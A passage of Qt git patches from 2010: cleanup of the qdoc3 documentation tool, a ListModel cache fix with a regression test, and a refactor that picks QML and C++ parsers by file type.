a/tools/qdoc3/tree.cpp b/tools/qdoc3/tree.cpp index 540ffa9..9946f0b 100644 --- a/tools/qdoc3/tree.cpp +++ b/tools/qdoc3/tree.cpp @@ -591,12 +591,6 @@ void Tree::resolveGroups() if (fake && fake->subType() == Node::Group) { fake->addGroupMember(i.value()); } -#if 0 - else { - if (prevGroup != i.key()) - i.value()->doc().location().warning(tr("No such group '%1'").arg(i.key())); - } -#endif prevGroup = i.key(); } @@ -1986,15 +1980,7 @@ QString Tree::fullDocumentLocation(const Node *node) const else parentName = fullDocumentLocation(node->parent()); } -#if 0 - if (node->type() == Node::QmlProperty) { - qDebug() << "Node::QmlProperty:" << node->name() - << "parentName:" << parentName; - if (parentNode) - qDebug() << "PARENT NODE" << parentNode->type() - << parentNode->subType() << parentNode->name(); - } -#endif + switch (node->type()) { case Node::Class: case Node::Namespace: -- cgit v0.12 From e64535b227599b5adb8847dfda0b2516ae7e5625 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Wed, 10 Nov 2010 14:43:11 +1000 Subject: Fix ListModel::set() to update the model cache when setting a list value Task-number: QTBUG-15190 --- src/declarative/util/qdeclarativelistmodel.cpp | 2 ++ .../qdeclarativelistmodel/data/setmodelcachelist.qml | 20 ++++++++++++++++++++ .../tst_qdeclarativelistmodel.cpp | 12 ++++++++++++ 3 files changed, 34 insertions(+) create mode 100644 tests/auto/declarative/qdeclarativelistmodel/data/setmodelcachelist.qml diff --git a/src/declarative/util/qdeclarativelistmodel.cpp b/src/declarative/util/qdeclarativelistmodel.cpp index 398480e..538e8af 100644 --- a/src/declarative/util/qdeclarativelistmodel.cpp +++ b/src/declarative/util/qdeclarativelistmodel.cpp @@ -1450,6 +1450,8 @@ void ModelNode::setObjectValue(const QScriptValue& valuemap, bool writeToCache) if (v.isArray()) { value->isArray = true; value->setListValue(v); + if (writeToCache && objectCache) + objectCache->setValue(it.name().toUtf8(), QVariant::fromValue(value->model(m_model))); } else { value->values << v.toVariant(); if (writeToCache && objectCache) diff --git a/tests/auto/declarative/qdeclarativelistmodel/data/setmodelcachelist.qml b/tests/auto/declarative/qdeclarativelistmodel/data/setmodelcachelist.qml new file mode 100644 index 0000000..ffe417a --- /dev/null +++ b/tests/auto/declarative/qdeclarativelistmodel/data/setmodelcachelist.qml @@ -0,0 +1,20 @@ +import QtQuick 1.0 + +ListModel { + id: model + property bool ok : false + + Component.onCompleted: { + model.append({"attrs": []}) + model.get(0) + model.set(0, {"attrs": [{'abc': 123, 'def': 456}] } ) + ok = ( model.get(0).attrs.get(0).abc == 123 + && model.get(0).attrs.get(0).def == 456 ) + + model.set(0, {"attrs": [{'abc': 789, 'def': 101}] } ) + ok = ( model.get(0).attrs.get(0).abc == 789 + && model.get(0).attrs.get(0).def == 101 ) + + } +} + diff --git a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp index 4b8d772..55f7421 100644 --- a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp +++ b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp @@ -100,6 +100,7 @@ private slots: void get_nested(); void get_nested_data(); void crash_model_with_multiple_roles(); + void set_model_cache(); }; int tst_qdeclarativelistmodel::roleFromName(const QDeclarativeListModel *model, const QString &roleName) { @@ -928,6 +929,17 @@ void tst_qdeclarativelistmodel::crash_model_with_multiple_roles() model->setProperty(0, "black", true); } +//QTBUG-15190 +void tst_qdeclarativelistmodel::set_model_cache() +{ + QDeclarativeEngine eng; + QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/setmodelcachelist.qml")); + QObject *model = component.create(); + QVERIFY2(component.errorString().isEmpty(), QTest::toString(component.errorString())); + QVERIFY(model != 0); + QVERIFY(model->property("ok").toBool()); +} + QTEST_MAIN(tst_qdeclarativelistmodel) #include "tst_qdeclarativelistmodel.moc" -- cgit v0.12 From 9830ef3b28502285a9c99ce07985668ad16a636a Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 24 Nov 2010 15:08:20 +0100 Subject: Removed unused code. --- tools/qdoc3/codemarker.h | 7 --- tools/qdoc3/codeparser.cpp | 3 +- tools/qdoc3/ditaxmlgenerator.h | 3 -- tools/qdoc3/htmlgenerator.cpp | 112 ----------------------------------------- tools/qdoc3/htmlgenerator.h | 25 --------- 5 files changed, 1 insertion(+), 149 deletions(-) diff --git a/tools/qdoc3/codemarker.h b/tools/qdoc3/codemarker.h index f17b28e..029ddb9 100644 --- a/tools/qdoc3/codemarker.h +++ b/tools/qdoc3/codemarker.h @@ -107,13 +107,6 @@ struct FastSection }; -#if 0 - const QString& name0 = "", - const QString& divClass0 = "", - const QString& singularMember0 = "member", - const QString& pluralMember0 = "members") -#endif - class CodeMarker { public: diff --git a/tools/qdoc3/codeparser.cpp b/tools/qdoc3/codeparser.cpp index 65d9572..ed8b54e 100644 --- a/tools/qdoc3/codeparser.cpp +++ b/tools/qdoc3/codeparser.cpp @@ -47,7 +47,6 @@ #include "node.h" #include "tree.h" #include "config.h" -#include QT_BEGIN_NAMESPACE @@ -99,7 +98,7 @@ void CodeParser::initializeParser(const Config& config) } /*! - Teerminating a code parser is trivial. + Terminating a code parser is trivial. */ void CodeParser::terminateParser() { diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 446f735..36bd990 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -234,9 +234,6 @@ class DitaXmlGenerator : public PageGenerator QString registerRef(const QString& ref); QString fileBase(const Node *node); -#if 0 - QString fileBase(const Node *node, const SectionIterator& section); -#endif QString fileName(const Node *node); void findAllClasses(const InnerNode *node); void findAllFunctions(const InnerNode *node); diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 4faab50..74db762 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -1116,33 +1116,6 @@ int HtmlGenerator::generateAtom(const Atom *atom, skipAhead = 1; break; case Atom::TableOfContents: - { - int numColumns = 1; - const Node *node = relative; - - Doc::SectioningUnit sectioningUnit = Doc::Section4; - QStringList params = atom->string().split(","); - QString columnText = params.at(0); - QStringList pieces = columnText.split(" ", QString::SkipEmptyParts); - if (pieces.size() >= 2) { - columnText = pieces.at(0); - pieces.pop_front(); - QString path = pieces.join(" ").trimmed(); - node = findNodeForTarget(path, relative, marker, atom); - } - - if (params.size() == 2) { - numColumns = qMax(columnText.toInt(), numColumns); - sectioningUnit = (Doc::SectioningUnit)params.at(1).toInt(); - } - - if (node) - generateTableOfContents(node, - marker, - sectioningUnit, - numColumns, - relative); - } break; case Atom::Target: out() << "string()) << "\">"; @@ -1799,91 +1772,6 @@ void HtmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker) } /*! - Generates a table of contents beginning at \a node. - */ -void HtmlGenerator::generateTableOfContents(const Node *node, - CodeMarker *marker, - Doc::SectioningUnit sectioningUnit, - int numColumns, - const Node *relative) - -{ - return; - if (!node->doc().hasTableOfContents()) - return; - QList toc = node->doc().tableOfContents(); - if (toc.isEmpty()) - return; - - QString nodeName = ""; - if (node != relative) - nodeName = node->name(); - - QStringList sectionNumber; - int columnSize = 0; - - QString tdTag; - if (numColumns > 1) { - tdTag = ""; /* width=\"" + QString::number((100 + numColumns - 1) / numColumns) + "%\">";*/ - out() << "\n" - << tdTag << "\n"; - } - - // disable nested links in table of contents - inContents = true; - inLink = true; - - for (int i = 0; i < toc.size(); ++i) { - Atom *atom = toc.at(i); - - int nextLevel = atom->string().toInt(); - if (nextLevel > (int)sectioningUnit) - continue; - - if (sectionNumber.size() < nextLevel) { - do { - out() << "
      "; - sectionNumber.append("1"); - } while (sectionNumber.size() < nextLevel); - } - else { - while (sectionNumber.size() > nextLevel) { - out() << "
    \n"; - sectionNumber.removeLast(); - } - sectionNumber.last() = QString::number(sectionNumber.last().toInt() + 1); - } - int numAtoms; - Text headingText = Text::sectionHeading(atom); - - if (sectionNumber.size() == 1 && columnSize > toc.size() / numColumns) { - out() << "" << tdTag << "\n"; - sectionNumber.removeLast(); - } - - if (numColumns > 1) - out() << "
    \n"; - - inContents = false; - inLink = false; -} - -/*! Revised for the new doc format. Generates a table of contents beginning at \a node. */ diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h index c0a4ce8..547cf2f 100644 --- a/tools/qdoc3/htmlgenerator.h +++ b/tools/qdoc3/htmlgenerator.h @@ -56,15 +56,6 @@ QT_BEGIN_NAMESPACE -#if 0 -struct NavigationBar -{ - SectionIterator prev; - SectionIterator current; - SectionIterator next; -}; -#endif - typedef QMultiMap NodeMultiMap; typedef QMap NewSinceMaps; typedef QMap ParentMaps; @@ -150,16 +141,6 @@ class HtmlGenerator : public PageGenerator CodeMarker *marker, const Node *relative = 0); void generateIncludes(const InnerNode *inner, CodeMarker *marker); -#if 0 - void generateNavigationBar(const NavigationBar& bar, - const Node *node, - CodeMarker *marker); -#endif - void generateTableOfContents(const Node *node, - CodeMarker *marker, - Doc::SectioningUnit sectioningUnit, - int numColumns, - const Node *relative = 0); void generateTableOfContents(const Node *node, CodeMarker *marker, QList
    * sections = 0); @@ -237,9 +218,6 @@ class HtmlGenerator : public PageGenerator QString registerRef(const QString& ref); QString fileBase(const Node *node); -#if 0 - QString fileBase(const Node *node, const SectionIterator& section); -#endif QString fileName(const Node *node); void findAllClasses(const InnerNode *node); void findAllFunctions(const InnerNode *node); @@ -273,9 +251,6 @@ class HtmlGenerator : public PageGenerator CodeMarker* marker) const; void generateExtractionMark(const Node *node, ExtractionMarkType markType); -#if 0 - NavigationBar currentNavigationBar; -#endif QMap refMap; int codeIndent; HelpProjectWriter *helpProjectWriter; -- cgit v0.12 From f79dfe06afe9aae34e064b5668cc3429f659dd16 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 24 Nov 2010 19:31:06 +0100 Subject: Added the version number to the configuration and fixed the generator. Now the version number should appear in the documentation again. --- tools/qdoc3/htmlgenerator.cpp | 4 +--- tools/qdoc3/test/qt-project.qdocconf | 5 ++++- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 74db762..b095f23 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -1618,12 +1618,10 @@ void HtmlGenerator::generateHeader(const QString& title, out() << QString("\n").arg(naturalLanguage); out() << "\n"; out() << " \n"; - QString shortVersion; - shortVersion = project + " " + shortVersion + ": "; if (node && !node->doc().location().isEmpty()) out() << "\n"; - shortVersion = myTree->version(); + QString shortVersion = myTree->version(); if (shortVersion.count(QChar('.')) == 2) shortVersion.truncate(shortVersion.lastIndexOf(QChar('.'))); if (!shortVersion.isEmpty()) { diff --git a/tools/qdoc3/test/qt-project.qdocconf b/tools/qdoc3/test/qt-project.qdocconf index be2a227..135fbbb 100644 --- a/tools/qdoc3/test/qt-project.qdocconf +++ b/tools/qdoc3/test/qt-project.qdocconf @@ -6,6 +6,7 @@ include(qt-defines.qdocconf) project = Qt description = Qt Reference Documentation url = http://qt.nokia.com/doc/4.7 +version = 4.7.1 sourceencoding = UTF-8 outputencoding = UTF-8 @@ -86,7 +87,9 @@ excludedirs = $QT_SOURCE_TREE/src/3rdparty/clucene \ $QT_SOURCE_TREE/doc/src/ja_JP \ $QT_SOURCE_TREE/doc/src/zh_CN -sources.fileextensions = "*.cpp *.qdoc *.mm" +sources.fileextensions = "*.c++ *.cc *.cpp *.cxx *.mm *.qml *.qdoc" +headers.fileextensions = "*.ch *.h *.h++ *.hh *.hpp *.hxx" + examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp *.qml" examples.imageextensions = "*.png" -- cgit v0.12 From 9529188304b47d3fdb39cec52ad233f37a477f2f Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 24 Nov 2010 19:33:21 +0100 Subject: Refactored use of parsers to parse files based on their types. The full range of file types is specified in the configuration file. Each parser is asked if it handles each file. The pure documentation parser conceptually handles qdoc files, but it uses the same code as the C++ parser. --- tools/qdoc3/codeparser.cpp | 38 ++++++++- tools/qdoc3/codeparser.h | 6 +- tools/qdoc3/config.cpp | 6 +- tools/qdoc3/config.h | 1 - tools/qdoc3/cppcodeparser.cpp | 9 +- tools/qdoc3/cppcodeparser.h | 4 +- tools/qdoc3/main.cpp | 74 +++++++++------- tools/qdoc3/puredocparser.cpp | 63 ++++++++++++++ tools/qdoc3/puredocparser.h | 72 ++++++++++++++++ tools/qdoc3/qdoc3.pro | 11 +++ tools/qdoc3/qmlcodeparser.cpp | 168 +++++++++++++++++++++++++++++++++++++ tools/qdoc3/qmlcodeparser.h | 90 ++++++++++++++++++++ tools/qdoc3/qmlvisitor.cpp | 191 ++++++++++++++++++++++++++++++++++++++++++ tools/qdoc3/qmlvisitor.h | 83 ++++++++++++++++++ 14 files changed, 769 insertions(+), 47 deletions(-) create mode 100644 tools/qdoc3/puredocparser.cpp create mode 100644 tools/qdoc3/puredocparser.h create mode 100644 tools/qdoc3/qmlcodeparser.cpp create mode 100644 tools/qdoc3/qmlcodeparser.h create mode 100644 tools/qdoc3/qmlvisitor.cpp create mode 100644 tools/qdoc3/qmlvisitor.h diff --git a/tools/qdoc3/codeparser.cpp b/tools/qdoc3/codeparser.cpp index ed8b54e..3652758 100644 --- a/tools/qdoc3/codeparser.cpp +++ b/tools/qdoc3/codeparser.cpp @@ -105,7 +105,7 @@ void CodeParser::terminateParser() // nothing. } -QString CodeParser::headerFileNameFilter() +QStringList CodeParser::headerFileNameFilter() { return sourceFileNameFilter(); } @@ -158,6 +158,42 @@ CodeParser *CodeParser::parserForLanguage(const QString& language) return 0; } +CodeParser *CodeParser::parserForHeaderFile(const QString &filePath) +{ + QString fileName = QFileInfo(filePath).fileName(); + + QList::ConstIterator p = parsers.begin(); + while (p != parsers.end()) { + + QStringList headerPatterns = (*p)->headerFileNameFilter(); + foreach (QString pattern, headerPatterns) { + QRegExp re(pattern, Qt::CaseInsensitive, QRegExp::Wildcard); + if (re.exactMatch(fileName)) + return *p; + } + ++p; + } + return 0; +} + +CodeParser *CodeParser::parserForSourceFile(const QString &filePath) +{ + QString fileName = QFileInfo(filePath).fileName(); + + QList::ConstIterator p = parsers.begin(); + while (p != parsers.end()) { + + QStringList sourcePatterns = (*p)->sourceFileNameFilter(); + foreach (QString pattern, sourcePatterns) { + QRegExp re(pattern, Qt::CaseInsensitive, QRegExp::Wildcard); + if (re.exactMatch(fileName)) + return *p; + } + ++p; + } + return 0; +} + /*! Returns the set of strings representing the common metacommands. */ diff --git a/tools/qdoc3/codeparser.h b/tools/qdoc3/codeparser.h index ebba601..2d11ee0 100644 --- a/tools/qdoc3/codeparser.h +++ b/tools/qdoc3/codeparser.h @@ -66,8 +66,8 @@ class CodeParser virtual void initializeParser(const Config& config); virtual void terminateParser(); virtual QString language() = 0; - virtual QString headerFileNameFilter(); - virtual QString sourceFileNameFilter() = 0; + virtual QStringList headerFileNameFilter(); + virtual QStringList sourceFileNameFilter() = 0; virtual void parseHeaderFile(const Location& location, const QString& filePath, Tree *tree); virtual void parseSourceFile(const Location& location, @@ -78,6 +78,8 @@ class CodeParser static void initialize(const Config& config); static void terminate(); static CodeParser *parserForLanguage(const QString& language); + static CodeParser *parserForHeaderFile(const QString &filePath); + static CodeParser *parserForSourceFile(const QString &filePath); static const QString titleFromName(const QString& name); protected: diff --git a/tools/qdoc3/config.cpp b/tools/qdoc3/config.cpp index 0146a26..c2ab559 100644 --- a/tools/qdoc3/config.cpp +++ b/tools/qdoc3/config.cpp @@ -359,16 +359,12 @@ QSet Config::subVars(const QString& var) const */ QStringList Config::getAllFiles(const QString &filesVar, const QString &dirsVar, - const QString &defaultNameFilter, const QSet &excludedDirs) { QStringList result = getStringList(filesVar); QStringList dirs = getStringList(dirsVar); - QString nameFilter = getString(filesVar + dot + - QLatin1String(CONFIG_FILEEXTENSIONS)); - if (nameFilter.isEmpty()) - nameFilter = defaultNameFilter; + QString nameFilter = getString(filesVar + dot + QLatin1String(CONFIG_FILEEXTENSIONS)); QStringList::ConstIterator d = dirs.begin(); while (d != dirs.end()) { diff --git a/tools/qdoc3/config.h b/tools/qdoc3/config.h index f089a70..bc36f3d 100644 --- a/tools/qdoc3/config.h +++ b/tools/qdoc3/config.h @@ -76,7 +76,6 @@ class Config QSet subVars(const QString& var) const; QStringList getAllFiles(const QString& filesVar, const QString& dirsVar, - const QString& defaultNameFilter, const QSet &excludedDirs = QSet()); static QStringList getFilesHere(const QString& dir, diff --git a/tools/qdoc3/cppcodeparser.cpp b/tools/qdoc3/cppcodeparser.cpp index 8e891b8..fce2553 100644 --- a/tools/qdoc3/cppcodeparser.cpp +++ b/tools/qdoc3/cppcodeparser.cpp @@ -47,7 +47,6 @@ #include #include -#include #include "codechunk.h" #include "config.h" @@ -258,18 +257,18 @@ QString CppCodeParser::language() /*! Returns a list of extensions for header files. */ -QString CppCodeParser::headerFileNameFilter() +QStringList CppCodeParser::headerFileNameFilter() { - return "*.ch *.h *.h++ *.hh *.hpp *.hxx"; + return QStringList() << "*.ch" << "*.h" << "*.h++" << "*.hh" << "*.hpp" << "*.hxx"; } /*! Returns a list of extensions for source files, i.e. not header files. */ -QString CppCodeParser::sourceFileNameFilter() +QStringList CppCodeParser::sourceFileNameFilter() { - return "*.c++ *.cc *.cpp *.cxx"; + return QStringList() << "*.c++" << "*.cc" << "*.cpp" << "*.cxx" << "*.mm"; } /*! diff --git a/tools/qdoc3/cppcodeparser.h b/tools/qdoc3/cppcodeparser.h index 55d9ddf..64e9119 100644 --- a/tools/qdoc3/cppcodeparser.h +++ b/tools/qdoc3/cppcodeparser.h @@ -69,8 +69,8 @@ class CppCodeParser : public CodeParser virtual void initializeParser(const Config& config); virtual void terminateParser(); virtual QString language(); - virtual QString headerFileNameFilter(); - virtual QString sourceFileNameFilter(); + virtual QStringList headerFileNameFilter(); + virtual QStringList sourceFileNameFilter(); virtual void parseHeaderFile(const Location& location, const QString& filePath, Tree *tree); diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp index 768c5eb..2d3f034 100644 --- a/tools/qdoc3/main.cpp +++ b/tools/qdoc3/main.cpp @@ -50,10 +50,12 @@ #include "config.h" #include "cppcodemarker.h" #include "cppcodeparser.h" +#include "ditaxmlgenerator.h" #include "doc.h" #include "htmlgenerator.h" #include "plaincodemarker.h" -#include "ditaxmlgenerator.h" +#include "puredocparser.h" +#include "qmlcodeparser.h" #include "tokenizer.h" #include "tree.h" #include @@ -235,14 +237,6 @@ static void processQdocconfFile(const QString &fileName) tree->setVersion(config.getString(CONFIG_VERSION)); /* - There must be a code parser for the source code language, e.g. C++. - If there isn't one, give up. - */ - CodeParser *codeParser = CodeParser::parserForLanguage(lang); - if (codeParser == 0) - config.lastLocation().fatal(tr("Cannot parse programming language '%1'").arg(lang)); - - /* By default, the only output format is HTML. */ QSet outputFormats = config.getStringSet(CONFIG_OUTPUTFORMATS); @@ -257,52 +251,69 @@ static void processQdocconfFile(const QString &fileName) langLocation.fatal(tr("Cannot output documentation for programming language '%1'").arg(lang)); /* - Read some XML indexes. What are they??? + Read some XML indexes containing definitions from other documentation sets. */ QStringList indexFiles = config.getStringList(CONFIG_INDEXES); tree->readIndexes(indexFiles); - + /* - Get all the header files: "*.ch *.h *.h++ *.hh *.hpp *.hxx" - Put them in a set. + Read the list of excluded directories. */ QSet excludedDirs; QStringList excludedDirsList = config.getStringList(CONFIG_EXCLUDEDIRS); foreach (const QString &excludeDir, excludedDirsList) excludedDirs.insert(QDir::fromNativeSeparators(excludeDir)); - QSet headers = QSet::fromList( - config.getAllFiles(CONFIG_HEADERS, CONFIG_HEADERDIRS, - codeParser->headerFileNameFilter(), - excludedDirs)); /* - Parse each header file in the set and add it to the big tree. + Get all the header files: "*.ch *.h *.h++ *.hh *.hpp *.hxx" + Put them in a set. */ - QSet::ConstIterator h = headers.begin(); - while (h != headers.end()) { - codeParser->parseHeaderFile(config.location(), *h, tree); - ++h; - } - codeParser->doneParsingHeaderFiles(tree); + QSet headers = QSet::fromList( + config.getAllFiles(CONFIG_HEADERS, CONFIG_HEADERDIRS, excludedDirs)); /* Get all the source text files: "*.cpp *.qdoc *.mm" Put them in a set. */ QSet sources = QSet::fromList( - config.getAllFiles(CONFIG_SOURCES, CONFIG_SOURCEDIRS, - codeParser->sourceFileNameFilter(), - excludedDirs)); + config.getAllFiles(CONFIG_SOURCES, CONFIG_SOURCEDIRS, excludedDirs)); + + /* + Parse each header file in the set using the appropriate parser and add it + to the big tree. + */ + QSet usedParsers; + + QSet::ConstIterator h = headers.begin(); + while (h != headers.end()) { + CodeParser *codeParser = CodeParser::parserForHeaderFile(*h); + if (codeParser) { + codeParser->parseHeaderFile(config.location(), *h, tree); + usedParsers.insert(codeParser); + } + ++h; + } + foreach (CodeParser *codeParser, usedParsers) + codeParser->doneParsingHeaderFiles(tree); + + usedParsers.clear(); /* - Parse each source text file in the set and add it to the big tree. + Parse each source text file in the set using the appropriate parser and + add it to the big tree. */ QSet::ConstIterator s = sources.begin(); while (s != sources.end()) { - codeParser->parseSourceFile(config.location(), *s, tree); + CodeParser *codeParser = CodeParser::parserForSourceFile(*s); + if (codeParser) { + codeParser->parseSourceFile(config.location(), *s, tree); + usedParsers.insert(codeParser); + } ++s; } - codeParser->doneParsingSourceFiles(tree); + + foreach (CodeParser *codeParser, usedParsers) + codeParser->doneParsingSourceFiles(tree); /* Now the big tree has been built from all the header and @@ -371,7 +382,8 @@ int main(int argc, char **argv) and create a tree for C++. */ CppCodeParser cppParser; - Tree *cppTree = treeForLanguage(cppParser.language()); + QmlCodeParser qmlParser; + PureDocParser docParser; /* Create code markers for plain text and C++. diff --git a/tools/qdoc3/puredocparser.cpp b/tools/qdoc3/puredocparser.cpp new file mode 100644 index 0000000..de7d668 --- /dev/null +++ b/tools/qdoc3/puredocparser.cpp @@ -0,0 +1,63 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + puredocparser.cpp +*/ + +#include "puredocparser.h" + +QT_BEGIN_NAMESPACE + +PureDocParser::PureDocParser() +{ +} + +PureDocParser::~PureDocParser() +{ +} + +QStringList PureDocParser::sourceFileNameFilter() +{ + return QStringList("*.qdoc"); +} + +QT_END_NAMESPACE diff --git a/tools/qdoc3/puredocparser.h b/tools/qdoc3/puredocparser.h new file mode 100644 index 0000000..6e37dbd --- /dev/null +++ b/tools/qdoc3/puredocparser.h @@ -0,0 +1,72 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + puredocparser.h +*/ + +#ifndef PUREDOCPARSER_H +#define PUREDOCPARSER_H + +#include + +#include "cppcodeparser.h" +#include "location.h" + +QT_BEGIN_NAMESPACE + +class Config; +class Node; +class QString; +class Tree; + +class PureDocParser : public CppCodeParser +{ +public: + PureDocParser(); + virtual ~PureDocParser(); + + virtual QStringList sourceFileNameFilter(); +}; + +QT_END_NAMESPACE + +#endif diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro index c9b05d2..2c91a9c 100644 --- a/tools/qdoc3/qdoc3.pro +++ b/tools/qdoc3/qdoc3.pro @@ -42,6 +42,9 @@ HEADERS += atom.h \ openedlist.h \ pagegenerator.h \ plaincodemarker.h \ + puredocparser.h \ + qmlcodeparser.h \ + qmlvisitor.h \ quoter.h \ separator.h \ text.h \ @@ -67,6 +70,9 @@ SOURCES += atom.cpp \ openedlist.cpp \ pagegenerator.cpp \ plaincodemarker.cpp \ + puredocparser.cpp \ + qmlcodeparser.cpp \ + qmlvisitor.cpp \ quoter.cpp \ separator.cpp \ text.cpp \ @@ -74,6 +80,11 @@ SOURCES += atom.cpp \ tree.cpp \ yyindent.cpp +# Include the QML parsing library from Qt Creator. + +LIBS += -L$$(QTCREATOR_LIBPATH) -lQmlJS -lUtils +INCLUDEPATH += $$(QTCREATOR_INCPATH) + ### Documentation for qdoc3 ### qtPrepareTool(QDOC, qdoc3) diff --git a/tools/qdoc3/qmlcodeparser.cpp b/tools/qdoc3/qmlcodeparser.cpp new file mode 100644 index 0000000..c6ace7d --- /dev/null +++ b/tools/qdoc3/qmlcodeparser.cpp @@ -0,0 +1,168 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + qmlcodeparser.cpp +*/ + +#include "parser/qmljsast_p.h" +#include "parser/qmljsastvisitor_p.h" +#include "parser/qmljsnodepool_p.h" + +#include "qmlcodeparser.h" +#include "node.h" +#include "tree.h" +#include "config.h" +#include "qmlvisitor.h" + +QT_BEGIN_NAMESPACE + +#define COMMAND_STARTPAGE Doc::alias("startpage") +#define COMMAND_VARIABLE Doc::alias("variable") + +#define COMMAND_QMLCLASS Doc::alias("qmlclass") +#define COMMAND_QMLPROPERTY Doc::alias("qmlproperty") +#define COMMAND_QMLATTACHEDPROPERTY Doc::alias("qmlattachedproperty") +#define COMMAND_QMLINHERITS Doc::alias("inherits") +#define COMMAND_QMLSIGNAL Doc::alias("qmlsignal") +#define COMMAND_QMLATTACHEDSIGNAL Doc::alias("qmlattachedsignal") +#define COMMAND_QMLMETHOD Doc::alias("qmlmethod") +#define COMMAND_QMLATTACHEDMETHOD Doc::alias("qmlattachedmethod") +#define COMMAND_QMLDEFAULT Doc::alias("default") +#define COMMAND_QMLBASICTYPE Doc::alias("qmlbasictype") + +QmlCodeParser::QmlCodeParser() +{ +} + +QmlCodeParser::~QmlCodeParser() +{ +} + +/*! + Initialize the code parser base class. + */ +void QmlCodeParser::initializeParser(const Config &config) +{ + CodeParser::initializeParser(config); + + lexer = new QmlJS::Lexer(&engine); + parser = new QmlJS::Parser(&engine); +} + +void QmlCodeParser::terminateParser() +{ + delete lexer; + delete parser; +} + +QString QmlCodeParser::language() +{ + return "QML"; +} + +QStringList QmlCodeParser::sourceFileNameFilter() +{ + return QStringList("*.qml"); +} + +void QmlCodeParser::parseSourceFile(const Location& location, + const QString& filePath, + Tree *tree) +{ + QFile in(filePath); + if (!in.open(QIODevice::ReadOnly)) { + location.error(tr("Cannot open QML file '%1'").arg(filePath)); + return; + } + + QString document = in.readAll(); + in.close(); + + Location fileLocation(filePath); + lexer->setCode(document, 1); + + QSet topicCommandsAllowed = topicCommands(); + QSet otherMetacommandsAllowed = otherMetaCommands(); + QSet metacommandsAllowed = topicCommandsAllowed + + otherMetacommandsAllowed; + + QmlJS::NodePool 